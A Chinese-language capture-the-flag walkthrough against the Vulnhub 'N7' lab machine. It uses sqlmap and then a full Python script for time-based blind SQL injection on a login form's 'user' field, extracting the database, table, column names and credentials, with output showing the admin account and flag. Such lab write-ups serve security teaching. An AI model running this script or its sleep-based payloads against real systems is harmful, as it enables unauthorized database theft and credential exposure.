Python实现SQL注入脚本
实验环境
攻击主机IP:172.18.53.145
目标主机IP:172.18.53.11
此处的靶场是Vulnhub中的WEB MACHINE: (N7)
靶场测试
访问靶场的登录页面,使用sqlmap测试该页面是否存在SQL注入
首先,使用Burpsuite在登录时抓包
将这个数据包保存下来
利用sqlmap,指定刚保存的post数据文件进行测试。
-r
指定文件,-p
指定测试参数,先测试下user
参数
sqlmap -r post.txt -p user --dbs
发现存在SQL注册,且读出了四个数据库,接着尝试编写脚本进行注入。
脚本编写
首先通过时间盲注循环判断当前数据库名的长度,将该语句作为payload发送到目标主机
select if(length((select database()))=1,sleep(3),1))
如果目标主机响应的时间超过3秒,那么可以判断该处猜测的值是对的
# 判断长度
for n in range(1,100):
payload = {"user":"\' or (select if(length((select database()))=" + str(n) + ",sleep(3),1)) #", "pass":"1", "sub":"SEND"}
r = requests.post(url, data=payload, headers=headers)
if r.elapsed.total_seconds() > 3:
db_name_len = n
break
然后根据数据库名的长度,使用下面的payload循环判断数据库名每一位的值,同样,根据目标主机的响应时间判断
select if(ascii(substr((select database()),0,1))=ascii,sleep(3),1)
判断代码逻辑如下:
# 判断名字
for i in range(1, db_name_len + 1):
for c in all:
payload = {"user":"\' or (select if(ascii(substr((select database())," + str(i) + ",1))=" + str(ord(c)) + ",sleep(3),1)) #", "pass":"", "sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
db_name.append(c)
if c == ",":
print("")
continue
print(c, end='', flush=True)
最后,最后,用同样的逻辑判断数据表名、数据列名和每一列对应的值。
完整代码如下:
import requests
import string
import sys
# 所有可打印字符
all = string.printable
# 目标主机URL
url = "http://172.18.53.11/enter_network/"
headers = {"Content-Type":"application/x-www-form-urlencoded"}
# 获取数据库名
def extract_db_name():
print("[+] Extracting db name")
db_name = []
# 判断数据库名长度
for n in range(1,100):
payload = {"user":"\' or (select if(length((select database()))=" + str(n) + ",sleep(3),1)) #", "pass":"1", "sub":"SEND"}
r = requests.post(url, data=payload, headers=headers)
if r.elapsed.total_seconds() > 3:
db_name_len = n
break
print("[+] the length of db name: " + str(db_name_len))
# 获取数据库名
print("[+] the name of db: ", end='')
for i in range(1, db_name_len + 1):
for c in all:
payload = {"user":"\' or (select if(ascii(substr((select database())," + str(i) + ",1))=" + str(ord(c)) + ",sleep(3),1)) #", "pass":"", "sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
db_name.append(c)
if c == ",":
print("")
continue
print(c, end='', flush=True)
print("\n")
return db_name
# 获取数据表的内容
def extract_tables(db_name):
db_name = "".join(db_name)
print("[+] Finding number of table in current db")
table_name = []
# 判断当前数据库中存在几张数据表
for n in range(1, 50):
payload = {"user":"\' or (select if((select count(table_name) from information_schema.tables where table_schema=\'" + db_name +"\')=" + str(n) + ",sleep(3),1)) #", "pass":"1", "sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
table_num = n
break
print("[+] Finding " + str(table_num) + " tables in current db")
# 判断所有数据表名的长度
print("[+] Finding the name of table in current db: ")
for n in range(1, 100):
payload = {"user":"\' or (select if(length((select group_concat(table_name) from information_schema.tables where table_schema=\'" + db_name + "\' limit 0,1))=" + str(n) + ",sleep(3),1))#", "pass":"1", "sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
table_name_len = n
break
# 获取当前数据库中所有的数据表
for i in range(1, table_name_len + 1):
for c in all:
payload = {"user":"\' or (select if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\'" + db_name + "\' limit 0,1),"+ str(i) +",1))="+str(ord(c))+",sleep(3),1)) #", "pass":"1", "sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
table_name.append(c)
if c == ",":
print("")
continue
print(c, end="", flush=True)
print("\n")
# 是否继续获取列名
column_name_inject = input("Show the name of column? [y/n]")
if column_name_inject == "y" or column_name_inject == "yes":
pass
else:
sys.exit()
table_name = "".join(table_name)
table_name = table_name.split(",")
# 获取数据表中的具体内容
for table in table_name:
print("[+] Finding the column name of " + table)
columns_name = []
# 判断数据表中所有列名的长度
for n in range(1, 100):
payload = {"user":"\' or (select if(length((select group_concat(column_name) from information_schema.columns where table_name=\'" + table + "\' limit 0,1))= "+ str(n) + ",sleep(3),1)) #", "pass":"1", "sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
column_name_len = n
break
# 获取数据表的列名
for i in range(1, column_name_len + 1):
for c in all:
payload = {"user":"\' or (select if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=\'"+ table + "\' limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + ",sleep(3),1)) #", "pass":"1", "sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
columns_name.append(c)
if c == ",":
print("")
continue
print(c, end="", flush=True)
print("\n")
# 是否继续获取数据表中每列的值
column_value_inject = input("Show the value of column? [y/n]:")
if column_value_inject == "y" or column_value_inject == "yes":
pass
else:
sys.exit()
columns_name = "".join(columns_name)
columns_name = columns_name.split(",")
# 获取每列的内容
for column in columns_name:
column = "".join(column)
print("[+] Finding the value of " + column)
# 判断数据表所有列内容的长度
for n in range(1, 1000):
payload = {"user":"\' or (select if(length((select group_concat(" + column + ") from " + table + " limit 0,1))= "+ str(n) + ",sleep(3),1)) #","pass":"1","sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
columns_values_len = n
break
# 获取数据表中每列的值
for i in range(1, columns_values_len + 1):
for c in all:
payload = {"user":"\' or (select if(ascii(substr((select group_concat(" + column + ") from " + table + " limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + ",sleep(3),1)) #","pass":"1","sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
if c == ",":
print("")
continue
print(c, end="", flush=True)
print("")
try:
db_name = extract_db_name() # 获取当前数据库名
user_input = input("Show the name of table? [y/n]:") # 是否继续获取表名
if user_input == "y" or user_input == "yes":
extract_tables(db_name)
else:
sys.exit()
print("Done!")
except KeyboardInterrupt:
print("")
print("[+] Exiting...")
sys.exit()
代码执行结果:
┌──(kali㉿kali)-[~/tools]
└─$ python sqli.py
[+] Extracting db name...
[+] the length of db name: 7
[+] the name of db: Machine
Show the name of table? [y/n]:y
[+] Finding number of table in current db...
[+] Finding 1 tables in current db...
[+] Finding the name of table in current db:
login
Show the name of column? [y/n]y
[+] Finding the column name of login
username
password
role
Show the value of column? [y/n]y
[+] Finding the value of username
administrator
[+] Finding the value of password
FLAG{N7:KSA_01}
[+] Finding the value of role
admin
Done!